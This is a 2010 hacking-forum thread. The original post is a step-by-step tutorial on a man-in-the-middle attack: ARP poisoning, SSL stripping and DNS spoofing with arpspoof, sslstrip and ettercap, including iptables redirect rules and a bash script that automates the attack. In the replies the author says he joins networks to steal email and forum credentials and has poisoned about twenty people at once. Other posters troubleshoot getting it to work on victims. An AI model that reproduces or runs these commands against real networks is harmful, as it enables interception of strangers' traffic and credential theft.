

Forum:[Hack Forums](#)

Thread: [\[Linux Tut\]SSL sniffing on Ubuntu - SSL Strip/Arpspoof/Ettercap\[Linux Tut\]](#)

SilvaRizla - March 22, 2010, 1:15 pm

Now I will show you how to sniff SSL traffic on the local network using Arpspoof, ettercap, and SSL strip.

The Install

This will install arpspoof (part of dsniff) and ettercap:

```
sudo apt-get install ettercap
sudo apt-get install dsniff
```

Installing sslstrip:

```
sudo wget http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz
tar -zxvf sslstrip-0.7.tar.gz
sudo mv sslstrip-0.7 sslstrip
sudo python setup.py build
sudo rm sslstrip-0.7.tar.gz
```

Configuring Ettercap

```
sudo nano /etc/etter.conf
```

Change the [Privs] section to uid 0

Code [privs]

```
ec_uid = 0          # nobody is the default
ec_gid = 0          # nobody is the default
```

Uncomment the Linux IP tables lines:

Code # if you use iptables:

```
redir_command_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j
REDIRECT --to-port %rport"
redir_command_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j
REDIRECT --to-port %rport"
```

Configuring DNS spoofing

```
sudo nano /usr/share/ettercap/etter.dns
```

The basic usable syntax is <original IP> A <spoof ip> and wildcards can be used

So to spoof all traffic to google.com you should put this new line at the end of the file:

```
* A 209.85.227.105
```

Sniffing and spoofing

Before any sniffing can be done you need to echo a 1 into `/proc/sys/net/ipv4/ip_forward`

```
sudo su
echo 1 > /proc/sys/net/ipv4/ip_forward
exit
```

Now you can sniff:

```
sudo arpspoof -i <network interface ie wlan0> <gateway/router ip>
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000
sudo sslstrip -a -k -f
```

I choose to log my ettercap sessions but this is optional. If you chose to log you must make sure the specified directory exists. Here is the command for a standard sniff

```
sudo ettercap -T -q -i <network interface> -m "/home/path/to/log/" -P autoadd
```

Here is the command to dns spoof (remembering first to alter `etter.dns` to contain the site u wanna spoof to):

```
sudo ettercap -T -q -i <network interface> -m "home/path/to/log/" -P dns_spoof
```

Voila!

I find it a bit cumbersome using these tools in this way, so I wrote a script to do the hard work for me, which I thought I might as well share. Save it and mark it as executable.

```
Code #!/bin/bash
echo -e "Please ensure \E[32m\033[1m'echo 1 > /proc/sys/net/ipv4/ip_forward'\E[37m\033[0m has
been performed as root"
echo -e "If you plan to spoof change your IP in
\E[32m\033[1m'/usr/share/ettercap/etter.dns'\E[37m\033[0m"
now=$(date +"%d-%b-%y")
netlog="$now Ettercap Log.txt"
echo -n "Please enter the router IP:  "
read routerip
echo -n "Please enter interface name (eg: wlan0):  "
read iface
echo -n "Would you like to dns spoof at this time? [y/n]"
read spoof
sudo xterm -geometry 75x15+1+300 -T "ARP Spoof" -e arpspoof -i $iface $routerip &
sleep 2
sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000 &
echo "Routed IP Tables"
sudo xterm -geometry 75x15+500+300 -T "SSL Strip" -e sslstrip -a -k -f &
echo "SSL Strip Launched successfully"
sleep 2
if [ "$spoof" = "n" ]; then
sudo xterm -geometry 75x15+1000+300 -T Ettercap -e ettercap -T -q -i $iface -m
"/home/path/to/log/$netlog" -P autoadd &
else
sudo xterm -geometry 75x15+1000+300 -T Ettercap -e ettercap -T -q -i $iface -m
```

```
"/home/path/to/log/$netlog" -P dns_spoof &  
fi  
done
```

SilvaRizla - March 22, 2010, 3:19 pm

ffs, this is gold. there is even a script to do it all for you. Bump.

Charity - March 23, 2010, 5:44 am

Very good tutorial. You're very knowledgable in this area.

fubu1 - March 23, 2010, 6:09 am

what have u personally used this for then

tompaine - March 23, 2010, 8:21 am

Correct me if I'm wrong, but it appears this scripts poisons the whole network. Have you found this causing a DOS to those on your network? How many computers have you successfully used this on?

Also, it doesn't look like this re-arp's the network when you leave. Am I missing something?

Great tut. I've appreciated almost all of your posts & think this is a great contribution to this site.

@@1cu1@te - March 23, 2010, 8:43 am

good tut, but why would you need sudo to wget <http://www.thoughtcrime.org/software/ssl...0.7.tar.gz> ?

SilvaRizla - March 23, 2010, 12:02 pm

Thanks for the input guys, glad to be of service

You might not need to sudo, I did this from memory and I'm fairly sure you do need to sudo.

@fubu1 - This is used to sniff the traffic of people on the network. It is called a man in the middle attack. Basically, traffic should go user-router-interwebs and back again but with this it goes user-attacker-router-interwebs and back again so most traffic can be read such as email and forum login credentials etc. I like to join a network and sit there stealing info.

@TP yes it poisons the whole network, I've had about 20 people at one time poisoned with no effect on speed, I don't know how much higher it can go.

GameOver* - March 23, 2010, 12:52 pm

nice tutorial dude! thanks for share!

chroniccommand - March 24, 2010, 4:39 pm

Pretty cool dude. Enjoyed reading it.

Big_Mike - March 24, 2010, 4:57 pm

you only need to Sudo if your not logged in as root

E[v]!L`` - March 24, 2010, 5:12 pm

I will try it on my ubuntu tomorrow ^^

Thank for sharing .

Jboomerz - April 19, 2010, 5:04 pm

Having trouble downloading ssl strip it seems that it does not exist.

@ubuntu:~\$ sudo wget <http://www.thoughtcrime.org/software/ssl...0.7.tar.gz--2010-04-19>
20:01:48-- <http://www.thoughtcrime.org/software/ssl...0.7.tar.gz>
Resolving www.thoughtcrime.org... 72.14.190.145
Connecting to www.thoughtcrime.org[72.14.190.145]:80... connected.
HTTP request sent, awaiting response... 404 <h1>404 Not Found</h1><p>Sorry, this file does not appear to exist. You can try finding it from http://www.thoughtcrime.org/ or sending me an email to harass me about what's wrong. <p>Sorry!
2010-04-19 20:01:48 ERROR 404: <h1>404 Not Found</h1><p>Sorry, this file does not appear to exist. You can try finding it from http://www.thoughtcrime.org/ or sending me an email to harass me about what's wrong. <p>Sorry!.

alg3rnon - May 4, 2010, 6:36 pm

not quite sure why this isn't working for me? i'm doing everything as follows, and yet i am seeing no passwords showing up, the sniffer just sits...?
and i logged in on my other comp to test and still nothing popped up

rm ./foo - May 8, 2010, 7:27 am

<http://www.codeshock.org/forum/viewtopic.php?f=20&t=169&start=0>

Leecher.

Snipesre - May 16, 2010, 12:10 pm

Bump

Great tut
too bad account was

Sh3llc0d3 - May 16, 2010, 5:54 pm

Alot of people using this technique of SSLstrip/Ettercap try to automate the process of setting SSL sniffing up, trust me if it goes wrong or you mess the script up you'll not re-arp the victim's or possibly take the network out. I've seen it done and there have been a few cases over on backtrack's forums where people have tried and failed. If your having problems sniffing make sure your card is injecting properly.

To check if your card is injecting properly use this (http://www.aircrack-ng.org/doku.php?id=injection_test) to help you. You will need Aircrack-ng suite installed or if not atleast the airmon-ng and aireplay-ng components.

SivaKuMar - July 3, 2010, 10:18 am

siva@siva-laptop:~\$ sudo wget <http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz--2010-07-03 22:47:19--> <http://www.thoughtcrime.org/software/sslstrip/sslstrip-0.7.tar.gz>
Resolving www.thoughtcrime.org... failed: Name or service not known.
wget: unable to resolve host address `www.thoughtcrime.org'

SilvaRizla - July 10, 2010, 6:59 am

Odd, the link works fine for me

@rm ./foo - leacher? I'm codeshock admin you fool. Who are you?

dafna101 - September 9, 2010, 12:42 pm

ailvarizla is it work on winxp? i use ettercap on winxp but my victim cant access internet when I arpoisinong
dont know what is the problem...

Montana" - September 9, 2010, 1:52 pm

Thanks for sharing man, tutorial looks nice. Gonna read it later, so bookmarked it.

I_Learning_I - December 28, 2010, 5:31 pm

Can't believe so few views and reply's! :O

Haven't seen you in a while, plus can't connect to CodeShock now, thy probably blocked my country's IP's =\

Keep bringing good tut's, I'll do the same! :D

Like our Ub3r C++ tut ^^

George_ - June 29, 2015, 3:55 pm

Is this method still working?